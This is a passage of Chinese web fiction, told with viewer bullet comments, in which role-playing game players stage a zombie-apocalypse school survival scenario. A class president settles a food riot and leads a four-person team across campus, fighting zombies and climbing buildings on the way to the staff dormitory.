他用力地敲了敲敞开着的门板,动静大得一下就惊醒了小憩中校医。 “喂。”晏逾明淡漠地开口, “记得照看对面的病人。” 校医朦胧惺忪的视线中,那道高大修长的身影已然离开。 他有些懵地起身。 · “砰!” “哐——!” 场馆内的局势接近失控。 体育部的人和其他人吵起来, 直接拿起椅子往地上砸, 硬邦邦的木头被砸得四散,完全不管不顾外面的丧尸会不会因为这些动静被吸引过来。 [体育部里面是不是有敌方的人,那个叫什么李奂壬来着,怎么又是他? ] [我怀疑体育部里有不止一个敌方,每次闹事儿都是他们起头。 ] 问题的根本是饥饿,大家都太饿了,没东西吃,又走不出去,一个拖字诀能解决的已经到了尽头。 所有学生的耐性降到最低,连平日里比较能忍耐的人都烦躁地皱眉叫骂,而那些本就暴躁易怒的学生立马被点燃,跟体育部的对上,直接动起手来。 高二七班、以赵平阴为首的那几个刺头也有些蠢蠢欲动,想趁乱一起发泄的模样,纷纷站起身。 将铭带着几个四班的男生拦在体育部和其他躁动的学生们之间,大家的情绪都太激动,光靠他们几个根本拦不住。 拦住这个,另外几个已经跑过去扭打在一起。 温知初推门而入。 她没有说话,快步往里走,一张高举的凳子在混乱中快要砸向她,温知初侧身躲过,颀长的手指有力地攥住椅背,一推,卸去力道,抬眼,视线只在对方脸上停留了一秒,她轻声放下椅子,越过这个体育部的人离开。 温知初望向人群中的将铭,对上眼神后,温知初无声地比了比自己的手腕。 将铭了然,立即低头看终端。 几秒后,他抬头,朝身后的男生们低声说了几句。 他们的动向改变,不再管其他闹事的人,全都冲着体育部的那些人,一边叫嚷一边把他们推挤向淋浴间。 “你们这些人,有种和我们进淋浴间单独打一架啊!在外面挑事算什么?” “谁不敢啊,过来!” 体育部的几个人瞬间被激怒,抄起家伙就往淋浴间走,一行人全进了淋浴间。 主动挑衅的将铭几个人却转身就跑,快步撤出淋浴间,走出去后,反手就把门锁上了。 “操!你们干什么!为什么关门!” “门打不开了?!锁了?你们什么意思!” “开门!给我开门!” 里头的人闹,外面的人也在闹,吵吵囔囔的,越来越多的丧尸被游泳馆的动静吸引而来。 温知初走到正中间,撑着柜子翻到堆叠的桌子上,站起身。 她拎起背包,拉开拉链,单手把背包往下倒,十几个面包和几袋巧克力往下掉在桌子上。 倾泻着,噼里啪啦,食物的动静瞬间吸引所有人的注意力。 场馆内一下安静了不少。 淋浴间的体育部的人还在闹,用力地踹门,一声接着一声。 “什么意思啊,把我们关起来!” “放我们出去!” “我数三个数,一、二…” 温知初站在桌子上,平静地望向门板:“放你们出来的话,你们愿意把之前藏起来的食物和大家一起分享么?” 一瞬间,门内门外的所有人都安静了,众人一会儿看向堆着食物的桌子,一会儿看向淋浴间的门板。 地上全都是被砸裂的椅子,外面的丧尸剧烈地敲撞着墙、窗、门,学生们陷入沉寂。 有同学看到面包和巧克力,眼睛都绿了,慢慢地挪过来,手指实在忍不住地想要触摸面包的袋子。 温知初的鞋子轻轻踩到面包袋子边缘,沉默地看了那人一眼,那位同学像是被针扎了一下,赶忙收回手。 她站在桌子上,平静而冷淡,视线扫过场馆内的所有人:“现在大家可以冷静下来了么?” · [小温从哪里找来的食物啊? ] [对啊,还有之前给陈玉清找的那个八宝粥,都是从来找来的? ] [难道是之前故意先藏的? ] [不可能,班长这个人物设定就决定了不可能私藏食物,可能是之前她自己领的食物都没吃] 食物被将铭和几个男生严格地分成小份,分发给其他人。 大家小声且看眼色地吃着食物,暂时不闹了,吃得很慢,一点说话声都没有。 温知初安静地从堆叠的桌子上翻了下来,将铭走过来,递给她一片面包。温知初摇摇头:“不用。” 将铭以为温知初吃过了,把面包给了其他人。 [不对啊,小温已经好几天没吃东西了吧,之前的食物也让给那个低血糖的储见仲了。 ] [你们没发现她的脸色都苍白了么,她来这里就没休息过。 ] [这里面的这个班长,真的不是人能做的啊。 ] 半个小时后,大家都吃完了,手里捏着面包袋子,闹事的人脸上有歉意,望着一地狼藉觉得不好意思,不由地道歉起来。 “对不起啊大家,我当时不知什么的就上头了,主要是体育部的那些人…” “吃的少本来就容易生气,我当时也上头了,我就觉得他们真的不要脸,造成了东门那样的状况连个道歉没有,还主动来挑事。” “幸好没真的抄家伙打,要不然受伤了就完了。” “完全就是白费力气啊我们,还吸引来了更多丧尸。” 情绪消退后,大家冷静下来。 有学生期待地望向温知初:“班长,真的没有任何食物了么…” 温知初言简意赅:“刚才你们吃的,是最后的食物。” “啊…应该省到明天吃的。” 几个人先是失望,而后很快地望向淋浴间的门板:“他们有啊,反正偷偷藏的,要不然我们…” 温知初开口,打断这些想法:“正因为没有食物了,所以我们要出去。” “出去?” “出去…” 说到出去,冲动从许多人的身上迅速褪去,换成犹豫和恐惧。 大部分的人,主动内斗自毁的根源,就是因为畏惧外面层层的丧尸,害怕自己被破开肚囊、扯出肠子,害怕求生不得、求死不能地被丧尸啃咬。 这是一种恐惧造成的矛盾转移,外部危机牵引内部矛盾。 温知初站在堆叠的桌子旁,语气比起刚才平和了一些。 温知初:“不仅仅是食物、我们的药物也几近耗竭,出去找物资,是必然的事。” 将铭接过话:“如果继续保持什么都不变,只会越来越多次发生像今天一样斗殴、打架的事,甚至更多的人偷偷跑出去,做出伤害自己、伤害其他人的事。” 他道:“而且再这么饿下去,越来越多的人会生病。所以,我们不能像之前一样龟缩在这里。大家想一想如果我们继续留在这里,没有食物,人会生病,但是又没有药物,彼此互相传染的结果是什么?” “当然。”他说,“肯定也不是所有人都出去,队伍越精简优秀越好,我们一起好好商量行动路线和计划,一起来尝试找一找新的出路…有没有人主动愿意出去找食物和药?” 此话落下,学生们全都低着头,没有一个应声的,有几个胆大的神情纠结,最终还是低下了头。 出去送死的活儿,死的概率太大,外面太危险,这时候,勇气实在成了紧缺品。 体委再次问:“大概组成一个四人的队伍比较好…我知道大家害怕,没关系,我也害怕,但是想一想以后,不要单单看眼前,我们还这么年轻,大家真的甘心就这么烂在这里吗?” 这句话略微触动了大家。 将铭:“愿意出去的,举手。” 话音落下,温知初默不作声地举起手。 将铭再次开口:“愿意出去的人,食物和药物可以更多地被分配,还有人想加入么?” 人群中,屈孚宁和温知初对上视线,也缓慢地举起手:“我。” “我也去…”赶过来的校医也举起手,“我知道一个地方,那里大概率没人去过,而且同时有药物和食物。” 这句话说出来,不少同学的神情好看了些,又有三四个人举起中,其中有一只手犹豫了一会儿,还是放下去了。 将铭:“现在有六个人…” 他不会出去,温知初和他之间,必须留一个人在场馆内看住场面。 将铭:“先确定三个人,班长、校医老师还有七班的屈孚宁。” 他转头望向温知初:“班长,还有一个选谁?” 温知初望向那些举着手的学生,他们眼神回避,手指蜷缩,有多害怕被选上手指就有多颤抖。 她转移视线。 [注意关键事件节点:班长会选择自己觉得最危险的人,让他一起离开场馆,以防其留在游泳馆造成混乱。 ] 温知初望向站在人群最后面、站在窗旁的晏逾明,他百无聊赖地看着被封死的窗户,一幅无所事事的模样。 注意到温知初的目光后,他转过头,两人对上视线。 温知初略微提起唇角:“我推荐副班长。” 第42章 通过匿名举手投票, 人选最终定下来。 四人小组。 班长、副班长、校医老师、屈孚宁。 人定下来后,安分了两个小时的体育部成员被放了出来,淋浴间内传来一股食物的味道,几个人手上攥着空的面包包装袋。 外面的学生齐齐地望向他们, 双方的眼神都看起来不太友好。 为首出来的李奂壬一边笑一边举起双手:“没有了…我们刚才把东西都吃完了,真的没其他剩余的食物了。” 他笑着:“大家不要太激动啊,好说歹说我们也是同学啊。” 体育部的人围到将铭身边:“体委,听说要组小队出去,带上我们呗。” 将铭:“人已经选好了。” “知道你们已经选好人了,但我们愿意主动跟着出去,这不是好事儿吗,我们体育部加起来一共十几个人,出去一定能帮忙使得上力气的。”体育部的道,“体委,人多力量大,你说是不是。” 体育部的看起来是真的想出去,从他们的表情中,甚至能看出恳切来。 有几个平时比较强硬的男生,为了这事儿语气都有些服软了,不知道从哪里找来的烟,偷偷地往将铭裤兜里塞。 将铭:“不是出去的人越多越好,第一次出去,主要是试探,人员精简些,找行动力高的比较好。” 这些体育生把将铭围住,依旧不放弃地在那儿说。 [体育部的氛围有些异常,既然班长他们已经说好了会出去帮大家找食物,按照正常人的逻辑,不应该庆幸自己能坐享其成吗,怎么可能这么积极地想出去。 ] [这种氛围,肯定是体育部内有敌方煽动了什么,让他们一致想出去。 ] [我觉得上一次我猜对了,体育部内肯定有不止一个敌方,他们在带风向,让这些人陪他们出去,至于原因…] [不可能无缘无故地出去,从现在他们的行为逻辑来看,敌方的任务这次好像也不是杀人。 ] [不一定,有可能是杀人不过不能亲手杀人,或者不能在游泳馆内杀人,有类似的限制条件,所以才执意要把人带出去。 ] [楼上说到可能性比较高,因为敌方的任务肯定是和TRES相反的。 ] [不管是不是杀人,他们的目标肯定和出去有关,而且你们不觉得他们现在围住将铭恳求也是在完成关键事件节点么? ] [有道理啊,这是在剧情起势这次将铭肯定不放他们出去,他们不就正好可以顺势进入下一个关键事件节点…起完势,他们完全有剧情逻辑硬闯出去了。 ] [而且说实话,其他同学跟TRES不一样,他们说不定因为讨厌这些体育部的人,乐于看到他们全都出去。 ] [是啊,下次这些体育生还想出去的话,就不用像之前一样偷偷摸摸的,完全可以顺着刚才的剧情起势,硬闯出去或者光明正大地出去,没人会拦着… ] 弹幕想到的,TRES的队员们显然也想到了。 不管体育部的这些人下一步的行动到底什么,什么时候行动,现在都不可能放这十几个人出去。 将铭一直没有松口,同一套说辞:“人已经定好了。” “不会再加人了。” · 外面的天气晴转多云,温度不低,让场馆内更为潮湿,消毒的氯味刺鼻。 已经被定好的人,聚到二楼的管理室,讨论接下来该怎么出去。 温知初推门而入,手上拎着从仓库拿来的背包和装备,扔到地上后,和其他人一起坐下。 校医问:“班长,这是我们出去要带的东西?” 温知初:“我自己有背包,这三个背包给你们拿的。” 背包主要用于装物资回来。 屈孚宁打开背包,里面有绳子和绷带,还有一根长而黑的支架。 温知初:“仓库里有个帐篷,我把支架拆了,正好四根长支架。” 游泳馆内没有任何刀之类的东西,他们四个人出去,比起短武器,长武器更容易互相配合。 通体漆黑的帐篷支架很轻,顶端的塑胶角拆下来后,是尖锐的铁质尖端。 屈孚宁在手里握了几下:“很趁手。” 晏逾明接过自己的背包,随手放在脚边,依旧淡漠而表情甚少的模样,似乎对什么都不怎么感兴趣。 不过作为副班长,他起码没有展现出不配合的态度。 校医拿起帐篷支架,脸上出现犹豫的神情,像是不知道该怎么用,又像在怀疑这个能不能当武器。 温知初斜撑着下巴看向他:“老师,你如果觉得这个当武器不行,我可以去游泳池那里,拆个金属杆下来给你。” 校医:“不用不用,我就是在思考怎么用,挺好的这个,确实、确实趁手。” [校医有些紧张啊,他看起来就不像打过架的那种。 ] [哈哈哈我突然想到,这四个人里,只有他一个不是TRES的,好格格不入啊。 ] [他到底是不是敌方的啊,看起来像,又看起来不像…] [校医之前为什么自告奋勇要出去来着? ] [他说他知道一个同时有充足食物和药物的地方。 ] 校医没有再隐瞒,他拿出手中一直攥着的钥匙。 他道:“我说的那个同时有食物和药物的地方,是我的宿舍。” 教师员工宿舍。 校医:“十几天前,我正好采购了一批新的药,什么类型的药都有,暂时放在宿舍那里。还有食物,我房间内食物很充足,面包、米面油菜肉都有,零食也常备。” 屈孚宁顺着话低声道:“教室宿舍,那里离我们这里多远来着…” 温知初从背包里拿出从走廊墙上揭下来的校园内部地图,手指点在地图上。 她道:“六百米。” 直线距离是六百米,要是放在往常,走几分钟就到了。 可现在是末世,六百米的路上堵着不知道多少丧尸和丧尸群。 如果走直线距离,顺利的话,来回三个小时应该能行。 但按照外面层层叠叠堵着的情况,直线路线是绝对不可能的。 晏逾明:“这段路丧尸肯定多,直线不可能,必须绕着走。” 温知初:“从小网球场那里绕着?” 晏逾明:“可以试试。” 温知初点头:“那先定这条路线,如果不行的话,中间随机应变。” 晏逾明无声地挑挑眉,视线落在温知初身上。 校医:“时间呢?我们会花多少时间?不能留在外面太久,陈玉清需要药。” 屈孚宁低声道:“争取今天结束前回来吧…如果都还活着的话…” 校医拍了拍他的肩膀:“这位小同学,不用害怕,我们肯定都会回来的。” 可能因为屈孚宁的厚刘海看起来太过于减龄,校医真的把他当成了一位年纪很小胆子可能也很小的学生。 屈孚宁:“……” 由于不喜欢任何人的触碰,屈孚宁不着痕迹地挪开自己被拍的肩膀。 “队型呢,”他抬头,“队型怎么排?” 晏逾明接过话:“一共就四个人,负责东西南北四个方向,中间别散就行了。” 温知略微颔首:“嗯。”她走到窗户前,往外看。 校医一会儿看看这个,一会儿看看那个,有些疑惑地摸了摸头,是他的错觉么,还是他太胆小了么…怎么感觉这三个小同学这么成熟,有些过于镇定了。 他本来以为自己的胆子已经算大了。 [哈哈哈我突然觉得这个校医老师可能真的不是敌方,他的反应不要太真实。 ] [如果我在现场,估计和校医老师一个反应。 ] 晏逾明走到窗旁,转向温知初:“看什么?” 屈孚宁和校医也走过来。 温知初往楼下看:“刚才我从仓库拿东西的时候,顺路去看了四个门,东西南北的门外都堵满了丧尸。” 因为昨天晚上和今天上午的闹剧,四个大门的方向,丧尸躁动不安地游荡,久久不离开。 四个大门的出路绝对堵死了。 校医往外看:“那我们怎么出去?” 晏逾明的下巴点向东南方向的空地:“那里丧尸比较少,可以东南角出去。” 校医望向东南角:“可是东南角也没有门儿啊。” 温知初指向窗外:“那里有两个空调主机。” 校医眼镜内的双眼瞪圆:“班长,你的意思是…” 晏逾明用指背轻轻敲了敲窗玻璃,视线停在温知初的脸上:“当然是从空调主机上跳下去,班长,我说的对不对…” 面对副班长这种不怎么严肃的语气,温知初避开和他交汇的视线:“嗯。” 温知初:“等十五分钟,丧尸再少些我们就下去。” 屈孚宁无声地点头。 校医:“……” 校医:“……” 校医:“……!” 不是,怎么一个异议都没有,真的就这么攀下去吗?这三个孩子真的是高中生吗?不要用个绳子或者床单什么的吗… 见没有人提出异议,他也没说什么,只呢喃着给自己打气:“我也是玩儿过攀岩的人…” 他跟着其他人背上背包,在窗户旁待命。 十五分钟后,屈孚宁打开窗户,率先跨了出去,站在外面的窗沿后,手指紧紧地扣住窗框,校医紧张地站在一旁,准备随时把人拉上来。 屈孚宁慢慢挪动脚,脚尖探向最近的空调主机,缓慢地落脚后扒着墙调整身体重心,蹲下身,手撑着第一个主机,用脚去够斜下方的第二个主机。 因为人物设定限制,他脚下一滑,整个人差点摔下去,终端在墙面磕碰后惊险地稳住了身形,从二米高的主机上跳下地面。 尽量小声地落地后,他回头朝上面比了个可以的手势。 丧尸游荡在较远的地方,暂时没有发现这里的动静,东南角这里,相对能有几分钟的安全。 屈孚宁下来后,下一个到了校医。 校医额角往外渗冷汗,深吸几口气,仿效屈孚宁刚才的动作跨出窗户,手臂和腿显著地打颤,但行动力意外地还行,顺着两个主机一步步下挪,最后也往下跳。 落地时,屈孚宁撑了他一把,给他借力,让校医落地的声音尽可能低。 而就在校医刚落地时,上面人影闪了几下,等校医刚站稳的时候,晏逾明已然站在他身后了,落地的动静悄无声息。 温知初是最后一个。 在校医出去的时候,她从口袋里拿出了章诎刚才塞给她的终端…改造过的、信号稍微长些的终端。 这次出去,还得尝试和一直没有讯息传来的邱任望联系。 到了她下去,温知初跨出去,脚踩在窄窄的窗沿上,平静地往下看了一眼,反手将窗户关上。 她弯腰下蹲,手掌扣在窗沿边,手臂收紧,没有踩第一个空调主机,直接顺势翻到了最下面的主机上。 站在主机上,她略微俯身,确认落下的位置,正准备跳下去,晏逾明走过来,双臂略显玩味地敞开,似笑非笑地看着她。 晏逾明比着口型:“班长,需要我帮你吗” 作为班长,根本不可能回应这个不合时宜的玩笑。 温知初摇了摇头,默不作声地往下跳,明明已然落地,晏逾明偏偏上前,顺势半拥着接她下来,一触即离的半拥间,副班长低沉的声音在她的耳畔响起。 “班长,你推荐我出来的,你也清楚,不可能没有代价的,对吧?” 第43章 温知初往后退了一步, 远离晏逾明。 [注意关键事件节点:排斥而怀疑地看副班长一眼。 ] 温知初顿了顿,她抬眼,在和其他人一起往外走的同时,瞥了一眼晏逾明,眼神冷淡而疏离。 一直盯着她的晏逾明和她对视上,接收到这个眼神后,不在意地耸了耸肩。 [班长…知知看上去是真的讨厌Yu 。 ] [真不像是演的。 ] [小温啊, 我是Yu的粉丝,我向你保证这肯定不是他的真实性格, 现在完全是按照人物设定扮演, 你们千万别真的关系因此而崩裂了,他可是道德S啊…] [下一轮这俩人千万别抽到类似的关系了, 我们真的会当真的。 ] 四个人按照计划绕向网球场外围的小路。 东南方向的这条小路,一开始丧尸还算稀少, 间或几只游荡,僵硬而拖沓地在地面上挪动,偶尔有几只发现他们,头一歪, 像卡壳一样望向他们,而后陡然发出嘶哑的吼声,摇摇晃晃地追过来, 四个人快步往远处跑。 四个人尽量动作轻而快。 往前走出一百五十米左右, 丧尸逐渐增多。 从建筑阴影、废弃校车的缝隙间, 原本稀稀拉拉的游荡丧尸, 几十个、几十个地围拢过来,眼珠浑浊,腐烂的面孔侧耳用力地听动静。 四人按照原来定好的队型, 彼此紧靠,分别负责前后左右四个方向,防止被丧尸冲散。 要突围出去。 屈孚宁跑在最前面,帐篷支杆被他用得非常趁手,以极快的速度避开前面扑来的丧尸,迅速地刺穿就近几个丧尸的脑壳。 晏逾明站在屈孚宁的斜后方,支架被他挥得起落间连成一线,精准地砸翻不断扑来的丧尸。 校医的防守略显生疏,不过击退率意外地还行,他紧攥住支杆,用力地往外甩,努力屏住呼吸,他把眼镜摘了,故意让自己不要过于清晰地看到丧尸脸上残缺崩裂的血肉。 温知初站在最后,她负责断后。 她单手握住支杆,侧身躲过一只丧尸,站稳,抬手将支杆捅入丧尸的额心,顶端的铁尖插进去,温知初转动手腕,丧尸在脑袋悬转中倒地。 没有停顿,支杆被她瞬间拔出来,砸向另一只扑过来的丧尸。 四人一边击退丧尸一边往前跑,丧尸虽然比人跑得慢,但扑击和啃咬的力道极大,若被撞倒,几乎无法再站起来。 众人提防着,围聚数量较多时就停下来击杀,有突袭漏口时便尽量连续地往前跑,跑跑停停,一路绕过小路,走到网球场外围的尽头。 走出来大概已经有六百米了,再往前,他们停住了脚步,眼前的丧尸之多,让四人心头一沉。 不是几十个,而是几百个丧尸密密麻麻地围聚在前方,听到活人的动静,蓦然躁动,齐刷刷地转头望向他们。 下一秒,那些腐烂的身影扑了过来,汇聚成潮水般的尸群,嘶吼声此起彼伏。 “掉头!”为首的屈孚宁立刻喊。 “不能掉头。”断后的温知初开口,“后面也堵死了。” 前后是同样的景象,他们被堵在了网球场外栏和办公大楼建筑的中间道路上,无论是从前面还是从后面,根本都无法突围出去。 堵死了。 校医脸色煞白,握着杆的手发抖:“怎、怎么办?” 温知初抬头,视线在周围迅速扫过:“办公楼,往上爬。” “二楼有没锁的窗户。”晏逾明的声音响起。 那道窗户距离地面六米以上,没有其他出路,他们只能徒手爬上去。 校医脸色发白地抬头往上看,高耸的墙壁上,没有空调主机没有凸出的遮挡物,唯一能攀爬的,就是办公楼外墙的排水管以及窗户和窗沿之间的缝隙和砖瓦。 晏逾明和屈孚宁一前一后,用长杆驱赶就近跑来的丧尸。 趁着丧尸还没全都聚集过来,得赶紧上去。 温知初没有犹豫,她踩上最底部的排水管,手抓住一楼窗户边凸出的砖块,手臂一撑,往上攀,脚踩住窗沿,手指抠在墙壁凹陷的砖上继续往上爬,最后小臂撑住二楼的窗沿,她翻了上去,跨上二楼的窗沿,单手抓住墙,另一只手推开窗户。 她没有进去,而是跨到就近的、二楼另一侧的窗户边,站在窗沿上,单手拽在窗户外,往下看:“上来。” 屈孚宁和晏逾明相继爬上来,温知初斜俯下身,伸手,依次扣住他们的手腕,借力把他们拉上来。 晏逾明借力翻上去后,深深地看了她一眼。 校医落后了。 其实他是第三个往上爬的,他不像TRES的队员一样接受过训练,没有类似的肌肉记忆,往上爬得十分艰难,逐渐成了最后一个。 这里没有空调主机那种平坦的东西搭脚,极大地需要依靠臂力,校医往上爬,下面的丧尸虎视眈眈地伸长胳膊往上捞,他的胳膊和双腿因为没有什么借力点而打抖,手心出汗,有次差点打滑下去,好险攥住了。 他没往上爬多少,左右脚换着地方撑住脚,没办法找到往上爬的借力点。 “啊——!”校医忽而尖叫,他的脚踝突然被楼下的丧尸给拽住了。 干枯的手劲儿十分大,校医用力地往下踹,不仅没踹下去,那丧尸还有种要攀着他的小腿往上爬的趋势,裤脚快被那手给撕开了。 站在窗沿的温知初往下看,默不作声地俯身,立即原路返回往下攀。 单手扣住窗沿,脚踩住凸出的装饰石条,身体往下滑一截,精准地落在校医身侧,单手抓住他的手臂稳住他的重心。 下一刻,她抬脚,狠狠一踹。 “砰!” 那只拽着校医双脚的丧尸被她踹了下去,重重地摔进尸群,砸倒了不少个其他的丧尸。 校医喘着粗气,惊魂未定地看着她,声音颤抖:“谢、谢谢……” 温知初继续往下看,平和地开口:“别害怕,老师,你往上爬,我断后。” 校医的脸上都是汗,在温知初始终温和的语气中,他似乎也稳定了一些,点了点头,咬牙继续往上爬。 温知初留在原地,抬脚,又踹下几只想往上爬的丧尸,校医往上爬了两米后,她才继续往上爬,在校医的双手好不容易摸到二楼窗沿时,温知初侧身,抬手撑了他一把,校医翻进了窗。 她站在窗外,略微停住脚步,因为耳畔响起了<深渊>的电子音。 [注意关键事件节点:班长并不是无所不能的,她需要受伤。 ] 温知初的神色顿了顿,往下看,楼底下乌泱泱的丧尸声带撕裂地吼叫,用力地想爬山来,她冷淡地收回眼,跨过窗户进房间。 不过从窗台上往下跨的动作,被她刻意变慢了一些,最后跨进窗的时候,温知初故意没控制力道,直接从窗台上摔到地面,膝盖落地时,发出了“砰”的声音,非常响。 也算是受伤了。 她摔下来的动静被房间里打斗的声音给遮盖了。 外面有丧尸,这个房间里也有丧尸。 屈孚宁第一个进房间的时候,这个办公室的门没有关,办公室外楼道的丧尸听到房间里有声音,立马跑了过来,一下扑进来四个,他当机立断关了门,和这四个丧尸关在一起。 校医翻进来时,已经被解决了两个,剩下的两个被屈孚宁和晏逾明一人一个地处理着。 温知初进来的时候,这两个丧尸嘶吼着,被支杆捅穿脑袋,抽搐了几十秒才逐渐没有了动静。 温知初站起身,反手关上窗户。 房间内死寂,门外的丧尸撞击着门,从撞击的声音来听,门外的丧尸应该不算多,二十分钟后,外面的丧尸似乎放弃了,逐渐疏散离开。 校医瘫坐在墙边,满头大汗,声音气喘吁吁:“太、太惊险了…” 屈孚宁也已经坐下,把眼镜摘下来,擦拭厚黑眼镜框上的雾气。 晏逾明斜坐在办公桌上,漫不经心地转着桌上的笔。 温知初站在窗户旁边,看着外面丧尸的动向,过了会儿后,她也坐下。 已经下午一点了。 校医:“班长,接下来我们该怎么办。” 虽然走出来才六百米,但这六百米内发生的所有事,足以让他把温知初当成领头人来信服。 温知初端坐在椅子上,前额沾血的碎发有些乱了,不过始终慵懒而平静得漂亮着。 温知初:“外面丧尸太多了,先在这里停留一个小时,等楼下丧尸稍微疏散再出发。” 屈孚宁:“好。” 校医如获新生地用力点头,他的肌肉生理性地打颤,他是真的需要休息,要不然他真害怕自己真就这么死在外头了。 现在他终于能理解那些学生为什么不愿意举手了。 窗户和门封闭,房间内全是那四具尸体的臭味,刺鼻得人头晕。 沉默中,屈孚宁看向温知初:“班长,你是刚才是不是受伤了?” 温知初进来时跌落的动作,正巧被他看到了。 校医跟着也望向班长。 温知初若有所思地盯着窗外,听到屈孚宁的问话,安静地摇头:“没有。” 班长的人物设定,包括不让自己受伤的事实打击士气,影响团队氛围。没有药,说出来也没有用。 屈孚宁没有再多问,他的人物设定不会是一个很关心同学的人,他和校医听到答案后,便真的以为温知初确实没有受伤。 可晏逾明不一样,副班长对班长…面对讨厌的人,似乎她的一举一动都非常明显—— 晏逾明盯着温知初,望向她的腿。 房间内的腐臭气息太过浓烈,温知初起身去开窗,走动间,脚步和平常有略微的不同,窗户被开了一个缝隙,没有开太大,温知初重新坐回座位。 晏逾明从办公桌上下来,他走到温知初身前:“班长,你受伤了。”他用的是肯定句。 温知初抬眼:“没有…” 话没能说完,晏逾明蹲下身,掀起她右腿的运动裤,右腿的膝盖露了出来,红肿一片,发紫得严重。 晏逾明看着她,语气淡漠:“班长,怎么伤成这样也不说?” 他重复了上一轮比赛时,副班长对班长比的口型—— “虚伪。” 第44章 一旁休息的校医赶紧走过来:“班长受伤了?” 屈孚宁原地坐着,没有动,只朝她这儿看。 温知初冷淡地看了晏逾明一眼,略微屈腿, 望向自己的膝盖:“不算严重, 没伤到骨头。” 校医走过来观察伤口:“虽然没有伤到骨头, 后面肿起来很难处理。” 温知初:“没有药。” “药…”校医停顿了会儿, “确实没有药。” 用来处理跌打伤的药, 早就在游泳馆内用完了。 温知初要放下裤子,校医按住了:“没有药也可以进行一些简单的处理。” 晏逾明站起身, 依次打开办公桌旁的柜子, 找有没有能用到的。 两包湿巾。 三瓶矿泉水。 校医接过晏逾明递来的湿巾和水,用湿巾沾上水,敷到温知初右腿的膝盖上,矿泉水持续地沾湿新的湿巾,换着敷膝盖,算是当下环境唯一能做到的冷敷。 他搬来了一个凳子,让温知初把腿靠上去,让腿高于心脏水平, 减少液体在膝盖积聚的可能性。 温知初安静地抬着腿,右手撑着下巴往窗外看,日光照在侧脸,有种过于违和的宁静和稳定。 窗玻璃的倒映中, 能看到晏逾明坐在办公桌上, 也在往窗外看, 不过两人的视线始终没有交汇。 时间有限,并没有很长时间进行冷敷。 大概二十分钟后,校医说:“暂时先用绷带包扎膝盖吧。” 绷带他们倒是带了, 他问:“副班长?绷带是不是放在你的背包里?” 晏逾明已经走了过来,屈腿蹲下,把绷带一层一层地绕上温知初的膝盖,不知是有意还是无意,包扎的力道不轻,绷带陷入皮肤,勒出浅浅的凹痕。 温知初察觉到异样,对上晏逾明的视线,这人深邃的双眼似笑非笑。 副班长显然是故意的。 她定了定神,很快错开视线,淡淡地又看向窗外。 校医在一旁看得忍不住:“不能包扎得这么紧,看着就疼,会影响血液循环的,副班长,还是我来吧。” 晏逾明耸了耸肩,松开手,站起身退到一旁。 校医把绷带拆松,重新包扎了一遍,他有些强迫症地把绷带的末端剪齐整。 温知初站起身,放下裤腿:“多谢。” [你们刚才看到Yu的动作了么,他是故意的? ] [应该是副班长的人物设定吧。 ] [小温没事吧,等会儿还得出去啊…] [班长的人物设定太倒霉了,还得受伤。 ] 在等待楼底下丧尸疏散的同时,温知初也在观察着章诎给她的终端,连接向邱任望的信号断断续续的,依旧没有回复。 温知初站在窗边往下看。 下午两点。 一个小时的休息时间结束了,楼底下的丧尸虽然疏散了些,但数量依旧庞大,挤挤囊囊、渴望地望着二楼,有几个丧尸不断尝试往上爬,就算不停往下摔,也没有放弃。 有一个已经缓慢地爬到接近二楼了,温知初打开窗户,用支架把这个丧尸捅了下去。 丧尸“砰”得落地后,一楼的丧尸群们更激动,残缺的面孔死死地往上盯。 温知初关上窗户。 她道:“不行,得换路线。” 原路线显然走不通了。 校医连忙抬头:“换什么路线?” 晏逾明和屈孚宁也望向她。 温知初把卫衣兜帽戴上,走到办公室的门前,手按在门把手上:“我先去楼道那里看看有没有其他路,很快回来。” 说完,她按下门把手,出去的同时快速地把门给阖上了。 “咔哒” 校医还没反应过来,班长的身影已然消失在房间内。 温知初走出去,反手关上门的同时,走廊两个丧尸便扑了过来,门“咔哒”阖上,温知初抬起腿,往外踹。 “砰”得接连两声,丧尸的身体猛然失去平衡,在惯性的作用下滚下楼梯。 温知初没有多看,往走廊以东走。 走廊内丧尸不算多,起码和办公室窗外楼下聚集的比,要少许多。 几十个丧尸散布在走廊各处,缓慢晃动身躯,时不时发出喑哑的嘶吼声,耳朵用力地往有声音的地方贴。 温知初攥紧手中的支杆,轻声往前走。 有丧尸听见声音,快速扑过来。 支杆顶端的铁尖大力地扎入丧尸的眼眶,温知初转动手腕,支杆的另一侧彻底破坏脑干。 丧尸抽搐了一下,被她轻声放到地上。 右手猛地抽出支杆,侧身避开身后扑来的丧尸,顺势用支杆割破它的喉咙,上挑贯穿颌颅。 腐臭、黑红的血沿着支杆顶端往下滑落。 温知初继续往前走。 一路上,随着支杆的扎入,倒下一路的丧尸,直到温知初走到最东边的窗户前,她抬起手,撑开窗户往下看。 楼下的丧尸比他们刚才来的方向要少许多,数量在可控范围内。 确认完周围的路况后,温知初放下窗户,窗户翕合间,斜后方伴随着嘶吼声一道阴影猛然扑过来,腐烂的手已经贴上温知初的肩膀。 “噗呲”一声,温知初手腕翻转,支杆猛地扎入丧尸的太阳xue,又很快地被她抽回来。 侧脸被溅上了些血,温知初抬手擦拭,平静地往回走。 回到办公室202。 门被关上,三人的视线聚集向她。 坐在地上的屈孚宁开口:“班长,怎么样?” 温知初:“东边可以走,换路线,我们从走廊最东边的那个窗户下去。” 校医:“从那里翻下去…” 温知初知道校医想问什么:“我看过了,那里有空调主机,下去的难度比这里小很多。” 校医松了口气,而后又注意到温知初校服上的血迹比刚才更多了,想起她的伤,不禁问:“班长,你膝盖没事儿吧?” 晏逾明的目光落向她的膝盖。 温知初低头看了眼,平和地提了提唇角:“完全没问题。” 四人收拾好背包,准备出去。 温知初蹲下身拉背包拉链的同时,手腕上的终端骤然亮起,伴随断断续续的信号提示音。 [已和Q对接上信号。 ] 她正准备抬起手腕,信号声便断了。 [对方主动断连了信号。 ] 不远处响起屈孚宁的声音:“班长,可以走了。” 温知初顿了顿,她垂下手腕,斜挎起背包,迈步跟上队伍。 走出办公室,走廊上都是被放倒的丧尸、断肢、血泊、碎裂的颅骨,被清理得干净利落。 校医惊讶地望向温知初。 四人走到最东边,依次爬出窗户,从二楼攀下去。 有了前面两次上楼下楼的经验,这次下去大家的动作都比较快,校医也不例外。 落地时,地面传来轻微的落叶碎响,四人趁着周围丧尸都基本聚集在西北的方向,轻而快地穿梭在小道间,往教师宿舍的方向跑。 接下来的路程,他们遭遇到最大规模的丧尸群在三十只以内,没遇到之前那样大规模的丧尸聚集,四人跑跑停停,终于跑进了教室宿舍楼内。 